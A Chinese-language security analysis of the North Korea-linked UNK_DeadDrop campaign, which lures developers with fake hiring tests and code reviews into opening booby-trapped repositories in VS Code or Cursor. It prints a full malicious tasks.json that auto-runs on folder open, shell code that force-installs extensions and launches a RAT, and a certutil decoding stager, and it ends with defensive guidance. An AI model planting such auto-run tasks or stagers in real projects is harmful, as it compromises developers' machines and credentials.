摘要
2026 年 4 月至 5 月,安全厂商 Proofpoint 监测到代号为 UNK_DeadDrop 的大规模钓鱼攻击活动,该威胁团伙被判定为与朝鲜关联,以全球多行业开发者为核心目标,依托虚假招聘、代码评审、技术测试等社工场景传播恶意 GitHub/GitLab 代码仓库,结合 Visual Studio Code、Cursor 等主流代码编辑器的自动化任务机制与恶意 VSIX 扩展程序,构建跨 Windows、macOS、Linux 平台的完整恶意载荷执行链路。攻击全程利用开发者对开源项目、技术面试流程的信任,实现恶意程序静默部署、远程控制、数字货币钱包窃取、浏览器凭证与系统密钥库数据外泄等恶意行为。本文基于该攻击事件的全维度溯源数据,系统剖析 UNK_DeadDrop 攻击团伙的目标分布、社工诱饵类型、恶意仓库特征、跨平台感染链路、载荷运行逻辑、权限提升与数据窃取手段,对比其与同源威胁 Contagious Interview 的技术差异与演化特征;结合攻击中的技术漏洞与社工弱点,梳理代码编辑器安全配置、开源仓库校验、终端防护、人员安全培训等多层防御体系,并由反网络钓鱼技术专家芦笛结合实战场景分析该类定向钓鱼攻击的识别要点与应急处置方案。研究完整还原攻击技术细节,附核心恶意代码片段解析,可为企业技术团队、开发者群体、网络安全运维人员防范同类定向钓鱼攻击提供详实的技术参考与实践依据。
1 引言
随着区块链、加密货币、人工智能等技术产业快速发展,开发者群体因掌握系统权限、私钥、API 令牌、钱包凭证等高价值数据,逐渐成为定向网络钓鱼攻击的重点目标。相较于普通网民,开发者长期接触开源代码仓库、第三方代码包、外部技术协作项目,对陌生技术邀约、远程面试、代码评审请求的警惕性普遍偏低,攻击者可借助行业常规工作流程掩盖恶意行为,大幅提升攻击成功率。
自 2022 年起,与朝鲜相关联的威胁组织持续针对加密货币、去中心化金融领域开发者发起定向攻击,先后使用虚假招聘身份、恶意 npm/PyPI 包、木马化加密货币交易客户端等手段实施数据窃取,攻击手段逐步从单一社工欺诈向 “社工诱导 + 代码漏洞 + 编辑器滥用 + 跨平台恶意载荷” 的复合模式演化。2026 年第二季度出现的 UNK_DeadDrop 攻击活动,是该类威胁技术迭代后的典型案例。该攻击活动持续六周时间,累计向外发送 250 余封钓鱼邮件,波及全球近 100 家机构,覆盖科技、教育、金融服务、医药、电信、制造业等十余个行业,地理范围以美国、英国、澳大利亚、法国、巴西等国家为主,呈现出规模化、全球化、精准化的攻击特征。
UNK_DeadDrop 并未沿用传统钓鱼邮件携带附件、恶意链接跳转网页的模式,而是深度嵌入开发者日常工作场景,将恶意载荷隐藏在伪装度极高的开源代码仓库中,利用 VS Code、Cursor 等代码编辑器tasks.json自动执行规则实现无感知触发,并通过定制化 VSIX 扩展实现恶意程序持久化运行。攻击载荷基于开源 Go 框架 Overlord 二次开发,针对不同操作系统设计差异化执行逻辑,分层完成环境探测、权限提升、凭证采集、数据外传与痕迹清理,攻击链条完整且隐蔽性极强。同时,该攻击与此前曝光的 Contagious Interview 威胁存在同源特征,但在投递渠道、载荷形态、执行方式上形成明显区分,代表相关威胁团伙的攻击能力与运营模式已走向成熟。
本文以 Proofpoint 披露的 UNK_DeadDrop 全量攻击数据为基础,从攻击背景与目标分布、社工诱饵体系、恶意代码仓库特征、跨平台感染链路、核心恶意代码解析、同源威胁对比、安全防御策略七个维度展开研究,客观分析攻击的技术原理与运作逻辑,总结面向开发者群体的定向钓鱼攻击共性规律,提出适配企业与个人开发者的分层防御方案。全文立足技术事实,不做主观夸大,重点拆解攻击中的技术漏洞与防御短板,为防范同类针对技术从业者的高级钓鱼攻击提供理论与实践支撑。
2 UNK_DeadDrop 攻击整体概况
2.1 攻击时间与主体判定
本次 UNK_DeadDrop 攻击活动主要集中在 2026 年 4 月至 5 月,整体分为三个阶段:4 月以虚假企业招聘、技术笔试为主要诱饵;5 月上旬转向开源项目代码评审邀约;5 月中下旬新增智能合约测试、AI 支付项目开发等新型场景,攻击场景随时间不断丰富,诱饵设计贴合不同细分领域开发者的工作内容。
结合攻击目标、技术手段、载荷特征、基础设施等多维度证据,Proofpoint 威胁研究团队判定 UNK_DeadDrop 为朝鲜关联威胁团伙发起的专项攻击。该团伙长期聚焦加密货币与去中心化金融领域,核心攻击目标为窃取数字货币钱包、浏览器登录凭证、系统密钥库、项目 API 令牌等资产,经济牟利是其核心诉求。
该团伙的攻击手法与另一个知名朝鲜关联威胁 Contagious Interview 存在大量重合点,包括目标群体、跨平台攻击能力、VS Code 功能滥用、恶意代码仓库投递、数据窃取方向等。但两者在初始接入渠道、交互逻辑、载荷框架、通信协议等方面存在明确差异,且流量日志、基础设施无直接重叠,因此安全机构将 UNK_DeadDrop 独立划分为新的威胁集群,同时不排除其为 Contagious Interview 团伙技术升级后的衍生行动。
2.2 攻击目标行业与地域分布
在为期六周的攻击周期内,攻击者累计向近 100 家机构的工作人员发送超过 250 封钓鱼邮件,目标覆盖十余类主流行业,不同行业的受攻击频次存在明显差异。按受攻击规模排序,主要行业包括科技行业、教育行业、商业服务、金融服务(含加密货币、去中心化金融)、娱乐媒体、电信、零售、政府机构、制造业、营销广告、汽车、咨询、工程、医疗、航空航天、房地产、交通运输等。其中金融服务与加密货币相关机构是攻击者的核心目标,该类机构掌握大量数字资产,攻击收益最高;科技企业与互联网公司次之,这类企业开发者数量多、对外技术协作频繁,更容易被虚假技术邀约诱导。
地域分布方面,本次攻击呈现全球分布、美国集中的特点。被攻击机构主要位于美国,其次为英国、澳大利亚、法国、巴西、德国、印度、以色列、日本、荷兰、沙特阿拉伯、西班牙以及中国台湾地区。攻击者并未局限于单一区域,而是采取广撒网模式,依托通用英文诱饵实现全球范围传播,体现出团伙规模化运营的能力。
2.3 攻击核心特征总结
综合全量攻击数据,UNK_DeadDrop 具备五大核心特征,也是区别于传统钓鱼攻击的关键:
第一,场景深度伪装。所有诱饵均贴合开发者真实工作场景,包括全职岗位招聘、入职技术笔试、开源项目代码评审、智能合约功能测试、AI 后端项目开发等,诱饵文本专业度高,附带真实技术栈要求,普通开发者难以快速甄别。
第二,载体特殊化。放弃传统网页、附件载体,全部使用 GitHub、GitLab 代码仓库作为恶意载荷载体,利用开发者对开源仓库的信任降低警惕性。
第三,编辑器漏洞滥用。核心利用 VS Code、Cursor 的自动化任务执行机制,其中 Cursor 无安全弹窗提示,可实现恶意代码静默运行,VS Code 依赖用户信任弹窗完成执行,攻击门槛极低。
第四,跨平台适配。针对 Windows、macOS(Intel/Apple Silicon)、Linux 三大主流开发者操作系统定制专属载荷,全平台覆盖,适配不同终端环境。
第五,全链路痕迹清理。攻击后期自动删除恶意脚本、临时文件、仓库内恶意组件,同时依靠 VSIX 扩展实现持久化,大幅提升溯源与查杀难度。
3 UNK_DeadDrop 社工诱饵体系与钓鱼邮件分析
社工欺诈是 UNK_DeadDrop 攻击的入口环节,攻击者通过精心设计的钓鱼邮件构建信任关系,诱导目标人员完成 “克隆代码仓库 + 使用指定编辑器打开文件夹” 的关键操作。根据诱饵场景的演变,可将本次攻击的诱饵分为四大类别,不同类别对应不同伪装企业、话术逻辑与技术要求,下文结合真实邮件样本逐一解析。
3.1 第一类诱饵:虚假企业全职招聘与技术笔试(4 月主力诱饵)
该类诱饵是攻击初期的核心形式,攻击者伪造多家正规企业的招聘身份,以 “全栈工程师”“后端开发工程师” 等岗位招聘为名义,要求求职者完成线上技术笔试,笔试内容指向攻击者控制的 GitHub 仓库。攻击者注册大量仿冒企业域名作为发件邮箱,域名名称与目标企业高度相似,进一步提升伪装效果。本次被仿冒的企业及对应岗位、技术要求如下:
Ondo Finance:去中心化金融平台,招聘全栈工程师,笔试要求使用 Next.js 15、TypeScript、Tailwind CSS 开发代币资产看板,项目需基于 Docker 运行;
Empower Pharmacy:医药企业,招聘全栈工程师,笔试围绕药品订单追踪系统展开,技术栈包含.NET 8、Next.js、Node 微服务与 Docker;
NXLog:日志收集工具厂商,依托自身工具品牌伪装招聘;
OnePlan:项目管理平台,招聘全栈开发者,技术栈要求 C#、ASP.NET与 Azure 云服务;
Hypen Connect:Web3 与 AI 人才中介;
Valon:抵押贷款服务商;
Nourish:远程医疗企业。
以 Ondo Finance 的钓鱼邮件为例,邮件正文完整介绍企业背景,声称团队由高盛数字资产部门组建,获得多家知名资本投资,塑造正规企业形象。随后明确笔试要求:开发者需要 Fork 指定 GitHub 仓库,按照规范完成 5 个页面开发,完成后提交代码评审。邮件中直接附上恶意仓库链接,引导用户克隆并使用 VS Code/Cursor 打开。
从社工逻辑来看,该类诱饵精准抓住求职者 “渴望获得工作机会” 的心理,将恶意操作包装为入职必备流程。反网络钓鱼技术专家芦笛强调:“技术求职者在面对远程笔试邀约时,往往优先关注技术考点,忽略仓库来源、发件邮箱真实性等安全细节,这也是该类招聘类钓鱼攻击成功率居高不下的核心原因。”
3.2 第二类诱饵:开源项目代码评审邀约(5 月上旬主力诱饵)
当招聘类诱饵被部分机构识别后,攻击者切换诱饵场景,以开源项目维护者身份发送代码评审请求,不再提及岗位招聘,话术转变为 “看中对方 GitHub 技术能力,邀请参与开源项目代码优化”,并附带 “代码修改达标即可获得正式岗位” 的附加条件,兼顾技术协作与求职双重场景。
该阶段主要伪造两家加密货币相关项目:Pulsynk(加密货币行情预测项目)、Trixauvex(加密货币交易与资产分析项目)。邮件话术简洁专业,例如 Pulsynk 的邮件内容明确表示:团队正在开发流式数据处理 Python 项目,发现目标开发者的 GitHub 履历优秀,邀请其克隆仓库并使用 Cursor/VS Code 打开,对代码提出修改意见,有效建议或正确漏洞修复者可直接入职。
相较于招聘诱饵,代码评审场景的伪装更具迷惑性。开源协作是开发者常态化工作,跨团队、跨陌生开发者的代码评审属于行业常态,多数开发者不会对陌生的评审邀约产生怀疑。攻击者同时要求使用 Cursor 或搭载 Copilot 插件的 VS Code 打开仓库,一方面贴合当下主流开发习惯,另一方面利用 Cursor 无安全弹窗的特性,最大化提升恶意代码静默执行的概率。
3.3 第三类诱饵:智能合约专项测试邀约(5 月中下旬)
该类诱饵定向针对区块链、智能合约开发者,伪装项目方邀请测试 ERC-4626 标准金库合约,使用以太坊生态主流开发工具 Foundry 完成测试工作。邮件引导开发者克隆托管合约测试代码的恶意仓库,要求在本地环境完成功能校验。
ERC-4626 是以太坊生态通用的代币金库标准,Foundry 是行业内使用最广泛的智能合约开发、测试框架,诱饵内容完全贴合区块链开发者的日常工作。该场景进一步缩小攻击范围,实现精准定向,主要攻击加密货币、Web3 领域的专业开发者。
3.4 第四类诱饵:AI 支付项目开发邀约(5 月末期)
这是本次攻击最晚出现的诱饵形态,结合当下 AI 智能体、机器对机器支付的行业热点,以招聘后端工程师开发 x402-kit 项目为名义。x402-kit 伪装为基于 HTTP 402 协议的 AI 智能体支付工具,支持 EVM、Solana 等多条公链,技术要求包含 Node.js、EVM 相关开发库。邮件承诺录用后提供每月 8000 美元的带薪试用期,高薪作为诱惑点,引导开发者克隆 GitLab 恶意仓库并使用指定编辑器打开。
3.5 钓鱼邮件基础设施特征
所有钓鱼邮件的发件域名均为攻击者在 2026 年 4-5 月紧急注册,注册商以 Namecheap 为主,邮件服务器使用 MailHostBox、Mailgun。部分域名配套搭建简易仿冒官网,托管于 Vercel 平台,页面展示项目简介、行情数据、“即将上线” 等内容,从侧面佐证项目真实性。早期攻击的邮件发送 IP 为 170.205.29.83、170.205.30.227,后期攻击者切换第三方邮件服务商,隐藏原始发送 IP,规避溯源追踪。
4 恶意代码仓库分类与结构特征
攻击者在 GitHub、GitLab 平台注册大量独立账号,批量创建伪装开源仓库,所有恶意仓库在目录结构、脚本文件、功能模块上高度统一,仅名称、项目主题存在差异。本次共分析 10 个典型恶意仓库,按照伪装主题可划分为四大类,仓库创建时间集中在 2026 年 5 月上旬至下旬,部分仓库存在多次迭代更新,仅修改命名、二进制文件等细微内容,证明攻击者持续维护恶意载体。
4.1 恶意仓库四大分类及基本信息
本次监测到的 10 个核心恶意仓库,主题覆盖加密货币预测、加密货币交易、区块链漏洞库、智能合约测试、AI 支付工具五大方向,具体分类与信息如下表所示:
加密货币预测类:pulsynk,伪装 AI 驱动的币价预测平台,2026 年 5 月 10 日首次提交;
加密货币交易类:trixauvex,伪装链上交易分析引擎,2026 年 5 月 16 日首次提交;
漏洞归档类:rekt-db(多账号重复创建),伪装区块链高危漏洞 POC 归档库,收录 Bybit、Wormhole 等知名被盗事件漏洞代码;
智能合约测试类:forge-4626-invariants(多账号重复创建),伪装 ERC-4626 金库合约自动化测试脚本;
AI 支付类:x402-kit(多账号重复创建),伪装 AI 智能体链上支付工具,支持多链适配。
所有仓库均具备高仿真开源项目特征:包含标准 README 文档、开源协议文件、依赖配置文件(pyproject.toml、requirements.txt 等)、目录分层清晰,符合对应技术栈的项目规范。普通开发者仅通过页面浏览,无法判断仓库是否存在恶意代码。
4.2 恶意仓库核心隐藏组件
恶意仓库的恶意逻辑并未暴露在主代码文件中,而是隐藏在 VS Code 专属配置目录.vscode内,该目录是 VS Code、Cursor 默认识别的配置文件夹,也是整个攻击链路的触发核心。每个恶意仓库的.vscode目录下固定包含两个关键文件:tasks.json与settings.json,其中tasks.json承担自动执行恶意脚本的核心功能。
除配置目录外,仓库src、tests/unit/services/engine/vendor等深层目录中,存放不同操作系统对应的启动脚本:Linux/macOS 平台的run-update.sh、Windows 平台的run-update-hidden-launch.vbs与run-update.cmd,以及后续加载的加密载荷、二进制程序。
攻击者刻意将恶意文件放置在深层子目录中,常规代码浏览不会触及,只有当编辑器加载全局任务时才会调用,隐蔽性极强。同时,仓库表面的业务代码具备基础运行能力,即使开发者简单测试项目功能,也不会发现异常。
4.3 仓库迭代特征分析
对 10 个仓库的提交记录分析可知,攻击者对恶意仓库进行持续迭代,累计出现 6 个版本迭代包,修改内容集中在二进制文件重编译、文件名称改写、注释微调、漏洞代码更新等,核心执行逻辑完全不变。这种迭代模式的目的有两点:一是规避开源平台的恶意代码检测规则,防止仓库被下架;二是针对不同终端环境微调载荷,提升兼容性。多账号重复创建同名仓库,也是为了在部分仓库被封禁后,快速启用备用载体,保证攻击持续进行。
5 UNK_DeadDrop 跨平台感染链路与代码解析
UNK_DeadDrop 的攻击链路可划分为社工诱导→仓库克隆→编辑器触发任务→脚本执行→VSIX 扩展安装→载荷运行→数据窃取→痕迹清理八个环节。由于 Windows、macOS、Linux 三大平台的系统架构、权限机制、编辑器运行环境不同,攻击者设计了差异化的执行逻辑,下文分通用链路、分平台专属链路、核心代码片段三部分展开解析,并附上真实恶意代码示例。
5.1 全平台通用感染前置链路
该环节是三大操作系统共有的攻击入口,也是整个攻击的触发点,流程完全依赖代码编辑器的自动化任务规则,具体步骤如下:
用户操作:受害者根据钓鱼邮件指引,使用git clone命令克隆攻击者控制的 GitHub/GitLab 仓库,随后使用 VS Code 或 Cursor 打开仓库根文件夹;
任务自动触发:仓库内.vscode/tasks.json文件配置runOn: "folderOpen"规则,该规则的作用是编辑器打开文件夹时,自动执行预设任务;
安全弹窗差异:VS Code 会弹出 “是否信任文件夹作者” 的安全提示框,若用户选择信任,任务立即执行;Cursor 无任何安全弹窗,任务后台静默运行,这也是 Cursor 成为攻击者首选编辑器的原因;
平台脚本分发:tasks.json根据当前操作系统类型,调用对应平台的启动脚本:Linux/macOS 调用/bin/bash执行run-update.sh,Windows 调用wscript.exe执行run-update-hidden-launch.vbs;
VSIX 扩展安装:启动脚本的首要功能是强制安装伪装成谷歌官方服务的恶意 VSIX 扩展,该扩展是实现持久化运行的核心组件;
载荷解码与启动:启动脚本内置 Base64、AES-256-GCM 等加密载荷,运行时动态解码,加载对应平台的恶意程序;
初始痕迹清理:脚本运行初期便启动后台清理任务,后续逐步删除仓库内的恶意脚本、配置文件,清除本地攻击痕迹。
反网络钓鱼技术专家芦笛指出:“代码编辑器的自动任务功能本是为提升开发效率设计,当开发者习惯性选择‘信任所有本地代码’时,就等于关闭了第一道安全防线,这也是该类编辑器滥用攻击能够大范围传播的根本原因。”
5.2 核心配置文件 tasks.json 代码解析
tasks.json是触发攻击的核心配置文件,决定了不同平台调用的脚本与运行模式,以下为本次攻击中使用的完整恶意tasks.json代码(保留原始结构,隐去冗余注释),同时逐行解析关键配置项:
json
{
"version": "2.0.0",
"tasks": [
{
"label": "Dependencies",
"detail": "Cal, routi wrkspace checkstart te bunl Gol t pprt heler.",
"type": "process",
"command": "/bin/bash",
"args": [
"${workspaceFolder}/tests/unit/services/engine/vendor/run-update.sh"
],
"options": {
"cwd": "${workspaceFolder}"
},
"windows": {
"type": "process",
"command": "C:\\Windows\\System32\\wscript.exe",
"args": [
"//B",
"//Nologo",
"${workspaceFolder}/tests/unit/services/engine/vendor/run-update-hidden-launch.vbs"
],
"options": {
"cwd": "${workspaceFolder}"
}
},
"presentation": {
"reveal": "never",
"focus": false,
"panel": "shared",
"close": true,
"showReuseMessage": false,
"showExitMessage": false
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
代码关键配置解析:
"runOn": "folderOpen":核心恶意配置,VS Code/Cursor 内置规则,文件夹被编辑器打开时自动运行当前任务,无需手动触发;
Linux/macOS 分支:command指定调用系统 bash 解释器,args传入恶意 Shell 脚本的绝对路径,${workspaceFolder}为编辑器内置变量,代表仓库根目录,保证路径动态适配;
Windows 分支:单独配置 windows 节点,调用系统wscript.exe,//B代表后台静默运行、无窗口,//Nologo代表不显示脚本运行标识,实现完全静默执行;
presentation 配置:所有界面提示、弹窗、日志全部关闭,用户无法感知任务正在运行,进一步提升隐蔽性。
该配置完全符合 VS Code 官方 tasks 语法,从代码层面无法直接判定为恶意,仅功能用途被攻击者滥用。
5.3 Linux 与 macOS 平台专属感染链路及代码解析
Linux 与 macOS 均属于类 Unix 系统,攻击者采用统一的 Shell 脚本 + Go 二进制程序方案,依托开源 Overlord 远控框架构建持久化 RAT(远程访问木马),两者仅二进制文件区分 CPU 架构(Intel/Apple Silicon)。
5.3.1 启动脚本 run-update.sh 核心逻辑
run-update.sh是 Base64 编码后嵌入仓库的 Shell 脚本,解码后核心功能分为四大模块:VSIX 扩展安装、系统环境适配、恶意 Go 程序启动、后台痕迹清理。核心代码片段及解析如下:
shell
# 定义VSIX扩展安装函数
gus_try_install_vsix(){
local vsix="$1"
if [ ! -f "$vsix" ]; then
gus_agent_log "vsix_install skip: file missing vsix=$vsix"
return 0
fi
gus_agent_log "vsix_install try vsix=$vsix"
# 遍历主流编辑器,强制安装恶意VSIX扩展
local ed
for ed in cursor code codium; do
if command -v "$ed" >/dev/null 2>&1; then
"$ed" --install-extension "$vsix" --force >/dev/null 2>&1
fi
done
}
# 移除macOS隔离属性,防止系统拦截二进制文件
if [ "$(uname -s)" = "Darwin" ]; then
xattr -d com.apple.quarantine "$AGENT" 2>/dev/null || true
fi
# 后台启动Overlord远控二进制程序
nohup "$AGENT" >/dev/null 2>&1 &
# 后台定时清理恶意文件与仓库痕迹
(
sleep 120
rm -rf "${SCRIPT_PATH}/../.vscode"
rm -rf "${SCRIPT_PATH}/../vendor"
) &
逻辑解析:
遍历cursor、code、codium三款主流编辑器,使用--force参数强制安装恶意 VSIX 扩展,无论用户是否允许,扩展都会写入编辑器目录,实现持久化;
针对 macOS 系统执行xattr命令,删除文件隔离属性,绕过 macOS 的安全隔离机制,保证 Go 二进制程序正常运行;
使用nohup+ 后台进程符号&启动 Go 远控程序,脱离终端会话,即使用户关闭编辑器,恶意程序依然持续运行;
启动二级后台子 Shell,延时 2 分钟后删除.vscode配置目录与 vendor 恶意脚本目录,清除本地攻击痕迹。
5.3.2 Overlord 远控框架与数据窃取流程
Linux/macOS 平台的核心载荷是基于开源 Overlord 框架编译的 Go 二进制文件,根据架构分为三个版本:google-update-support-linux-amd64(Linux 64 位)、google-update-support-darwin-amd64(macOS Intel)、google-update-support-darwin-arm64(macOS M 系列芯片)。
远控通信:二进制程序启动后,主动建立WSS 加密 WebSocket 连接,连接 C&C 服务器地址23.137.105.75:5173,关闭 TLS 证书校验,规避证书异常检测,长期保持长连接,支持攻击者下发远程命令、系统探测指令。
数据窃取分两阶段执行:
第一阶段(钱包数据窃取):扫描系统内浏览器钱包扩展(MetaMask、Phantom 等)、桌面数字货币钱包目录,将所有钱包数据打包为 ZIP 压缩包,通过 WebSocket 上传至 C&C 服务器;完成后延时 5 分钟,启动第二阶段;
第二阶段(系统凭证窃取):macOS 平台调用darwin-password-prompt二进制程序,弹出仿系统安全提示框,诱导用户输入开机密码与钥匙串密码;Linux 平台调用系统 Zenity 工具生成仿身份验证弹窗,获取用户登录密码。
权限提升与深度窃取:利用获取的用户密码提权至 root 权限,macOS 读取系统完整钥匙串数据,Linux 读取 GNOME 密钥环、浏览器加密密码,所有凭证再次打包外传。
持久化保障:恶意 VSIX 扩展常驻编辑器,每次启动 VS Code/Cursor 时,自动检测 Overlord 进程状态,进程退出则重新拉起,保证攻击长期存活。
5.4 Windows 平台专属感染链路及代码解析
Windows 系统架构与类 Unix 系统差异较大,攻击者放弃 Go 二进制 RAT 方案,改用Electron+Node.js+Python组合载荷,全程依托 VS Code 的 Electron 运行环境执行,不落地独立可执行文件,隐蔽性更强,且 VSIX 扩展在 Windows 平台不具备进程重启能力,无长期持久化。
5.4.1 VBS 与 CMD 启动链路
Windows 平台的触发流程为:tasks.json → run-update-hidden-launch.vbs → run-update.cmd,三层脚本层层解码载荷,核心 CMD 代码片段如下:
cmd
@echo off
setlocal EnableDelayedExpansion
# 生成临时Base64文件与解码后脚本文件
set "GB=%TEMP%\~gb%RANDOM%%RANDOM%.b64"
set "GT=%TEMP%\~gu%RANDOM%%RANDOM%.cmd"
# 写入Base64编码的证书与脚本内容
>>"%GB%" echo -----BEGIN CERTIFICATE-----
>>"%GB%" echo QGVjaG8gb2ZmCnNldGxvY2sIEVYWJsZUVdGVuc2bnMgRWShYmx1RGVsYX11ZEV4cGFuc21v
>>"%GB%" echo -----END CERTIFICATE-----
# 系统certutil工具解码Base64内容
certutil -f -decode "%GB%" "%GT%" >nul 2>&1
# 删除原始Base64文件,清除痕迹
del /f /q "%GB%" 2>nul
# 执行解码后的恶意脚本
call "%GT%" %*
# 删除临时脚本文件
del /f /q "%GT%" 2>nul
逻辑解析:利用 Windows 系统自带的certutil工具解码 Base64 载荷,所有临时文件存放在系统临时目录%TEMP%,执行后立即删除,无残留文件。
5.4.2 加密载荷解密与执行
CMD 脚本执行后,释放三个 AES-256-GCM 加密文件,固定解密密钥为4f7a8c3d2e1b5f9071a6b2c8d4e3f50a92b1c7d6e8f4a30b5c2d9e1f7a6b8c4d,三个加密文件功能分工明确:
windows-agent-node.js.enc:钱包窃取模块,扫描 35 类浏览器钱包扩展、18 款桌面数字货币钱包,遍历全系统用户目录;
detect_malware.py.enc:Python 凭证窃取模块,绕过 Windows DPAPI、应用绑定加密,读取 Chrome、Edge、Firefox 浏览器密码与 Cookie;
windows-js-pipeline.js.enc:主调度模块,串联所有窃取流程,负责数据打包与外传。
攻击者会检测本地 Python 环境,无 Python 则从 C&C 服务器下载 Python 3.12.8 嵌入式版本,安装至浏览器目录,绕过系统路径校验。所有窃取数据通过 HTTP POST 协议上传至同一 C&C 服务器,执行完成后自动清理所有临时载荷,进程直接退出,无后台驻留。
6 UNK_DeadDrop 与同源威胁 Contagious Interview 对比分析
UNK_DeadDrop 与 Contagious Interview 均为朝鲜关联威胁团伙针对开发者的定向攻击,两者技术同源、目标一致,但经过技术迭代后,在攻击链路、载荷、基础设施等方面形成显著差异。系统对比两者的技术特征,可梳理该类威胁的演化规律,预判后续攻击趋势。
6.1 基础属性对比
目标群体:两者完全一致,均聚焦加密货币、AI 领域开发者、安全研究员;
目标平台:全平台覆盖 Windows、macOS、Linux,无差异;
核心诉求:窃取数字货币钱包、浏览器凭证、密钥库、API 令牌,经济牟利;
初始接入渠道:Contagious Interview 以 LinkedIn、Telegram 等社交平台为主;UNK_DeadDrop 全面转向邮件批量投递,规模化能力更强。
6.2 社工诱饵与载体对比
诱饵形式:Contagious Interview 以线上面试邀约为主;UNK_DeadDrop 拓展为招聘笔试、代码评审、合约测试、AI 项目开发四大类,场景更丰富;
代码仓库:Contagious Interview 的仓库代码粗糙,带有教程注释、表情符号日志;UNK_DeadDrop 仓库工业化程度高,目录规范、代码完整,迭代频繁,伪装能力大幅提升;
投递载体:Contagious Interview 使用 GitHub、GitLab、BitBucket 多平台;UNK_DeadDrop 以 GitHub、GitLab 为主,聚焦主流平台。
6.3 技术执行与载荷对比
这是两者差异最大的部分,也是威胁技术升级的核心体现:
任务执行方式:Contagious Interview 依赖 npm 安装任务,执行过程可见;UNK_DeadDrop 滥用tasks.json实现静默后台执行,无界面输出;
载荷框架:Contagious Interview 使用自研恶意程序 OtterCookie、Invisible Ferret 等;UNK_DeadDrop 基于开源 Overlord Go 框架二次开发,开发成本更低、稳定性更强;
通信协议:Contagious Interview 采用普通 HTTP/HTTPS 协议;UNK_DeadDrop 使用 WSS 加密 WebSocket 长连接,远程控制能力更强;
持久化方案:两者均使用 VSIX 扩展,但 UNK_DeadDrop 优化了扩展自启动逻辑,macOS/Linux 持久化稳定性更高;
痕迹清理:UNK_DeadDrop 的反取证能力更强,分层删除仓库文件、临时脚本、日志,溯源难度更高。
6.4 威胁演化结论
从对比结果可判断,UNK_DeadDrop 并非全新威胁团伙,而是原有团伙的技术升级与运营模式迭代。攻击者放弃了社交平台一对一沟通的低效模式,改用邮件批量分发实现规模化攻击;放弃自研恶意代码,改用成熟开源远控框架降低开发成本;优化代码仓库与执行逻辑,提升隐蔽性与兼容性。整体来看,该类针对开发者的钓鱼攻击正向 “规模化、工业化、高隐蔽、跨平台” 方向持续演化,防御难度逐步提升。
7 针对 UNK_DeadDrop 类攻击的多层防御体系
结合 UNK_DeadDrop 的攻击链路、技术漏洞、社工弱点,本文从个人开发者防护、企业技术团队防护、终端安全配置、代码编辑器加固、邮件与开源仓库校验、应急处置六个维度,构建全链路防御体系,所有策略均贴合攻击弱点,具备可落地性。
7.1 个人开发者基础防护策略
个人开发者是该类攻击的直接受害者,防护核心为提升社工警惕 + 规范代码操作:
陌生邀约校验规则:收到陌生企业招聘、代码评审、技术测试邮件时,不直接点击邮件内链接。通过企业官方官网、公开招聘平台核实招聘信息,手动搜索项目仓库地址,杜绝邮件内直链;对于高薪远程岗位、非行业主流项目邀约,优先提高警惕。反网络钓鱼技术专家芦笛建议:“开发者不要仅凭 GitHub 履历就接受陌生协作请求,开源代码评审务必在沙箱环境中完成,禁止在主力工作终端打开陌生仓库。”
编辑器信任规则优化:VS Code 打开陌生仓库时,一律选择 “受限模式”,拒绝全局任务、扩展自动执行;优先减少 Cursor 的使用,或在 Cursor 中关闭文件夹自动任务功能。
仓库沙箱运行:所有陌生 GitHub/GitLab 仓库,统一在虚拟机、容器(Docker)、隔离沙箱中克隆与运行,禁止在本地主力终端直接操作,即使仓库存在恶意代码,也无法突破沙箱环境。
钱包与凭证隔离:数字货币钱包、浏览器密钥库、系统钥匙串进行权限隔离,主力钱包不在开发终端中安装,降低数据窃取损失。
7.2 代码编辑器专项加固(核心防御点)
该攻击的核心突破口是代码编辑器的自动化任务与扩展机制,针对性加固可直接阻断攻击入口:
禁用自动任务执行:在 VS Code、Cursor 全局配置中,关闭runOn: folderOpen等文件夹自动执行规则,仅手动触发必要任务;
限制 VSIX 扩展安装权限:关闭编辑器 “外部扩展强制安装” 权限,仅手动安装官方认证扩展,禁止脚本静默安装扩展;
监控.vscode 目录:本地设置文件监控规则,当陌生仓库出现.vscode/tasks.json文件且配置自动执行规则时,立即告警;
版本与补丁更新:及时更新 VS Code、Cursor 至最新版本,修复编辑器已知的任务执行、权限绕过漏洞。
7.3 企业级邮件与域名防护
企业是批量钓鱼邮件的主要攻击目标,需从邮件网关、域名检测、内容过滤三方面加固:
钓鱼邮件特征拦截:邮件网关添加规则,拦截发件域为短期新注册域名、域名名称仿冒正规企业、正文附带陌生 GitHub/GitLab 仓库链接的邮件;对 “技术笔试、代码评审、远程开发岗位” 等关键词进行告警标记;
域名信誉检测:对接域名威胁情报库,对邮件发件域名、仓库关联域名进行实时研判,拦截已知恶意域名;
外部链接沙箱跳转:所有邮件内外部 URL 强制经过网页沙箱检测,识别恶意代码仓库、仿冒网站。
7.4 终端安全与系统权限加固
针对跨平台载荷的终端防护策略,覆盖 Windows、macOS、Linux:
系统权限管控:日常开发账户使用普通用户权限,非必要不使用 root、管理员权限,即使恶意程序获取普通账户密码,也无法完成权限提升与深度数据窃取;
二进制文件监控:终端安全软件监控临时目录、代码仓库目录下的陌生 Go、Python、VBS、Shell 脚本,拦截未知二进制程序运行;
密钥库防护:macOS 钥匙串、Linux GNOME 密钥库开启二次验证,禁止后台程序静默读取;Windows 开启 DPAPI 加密强化,阻止凭证绕过攻击;
进程监控:监控 VS Code、Cursor 附属进程,发现异常 WebSocket 长连接、临时 Python 进程、后台 Shell 进程时,立即终止并告警。
7.5 开源代码仓库准入与审计
企业内部开源协作、外部开源引用需建立审计机制:
外部仓库准入审核:企业开发者克隆外部开源仓库前,需提交仓库地址、用途进行安全审计,审计通过后方可在内网终端使用;
代码静态检测:使用代码安全扫描工具,对外部仓库进行静态分析,识别tasks.json恶意配置、隐藏脚本、加密载荷;
内部仓库规范:禁止在企业内部代码仓库中配置自动执行任务,统一清理.vscode等编辑器配置目录,避免内部仓库被滥用。
7.6 攻击应急处置流程
当发现终端疑似感染 UNK_DeadDrop 类恶意程序时,按照以下流程处置,最大限度降低损失:
断网隔离:立即断开终端网络,阻止恶意程序向外传输数据、连接 C&C 服务器;
进程查杀:关闭 VS Code、Cursor 等编辑器,终止陌生 Go、Node.js、Python 后台进程;
清理恶意组件:卸载未知 VSIX 扩展,删除本地恶意代码仓库、系统临时目录下的加密文件与脚本;
凭证重置:修改所有浏览器登录密码、系统账户密码、数字货币钱包私钥、API 令牌;
溯源上报:记录钓鱼邮件、仓库地址、发件域名等信息,上报企业安全团队,同步威胁情报;
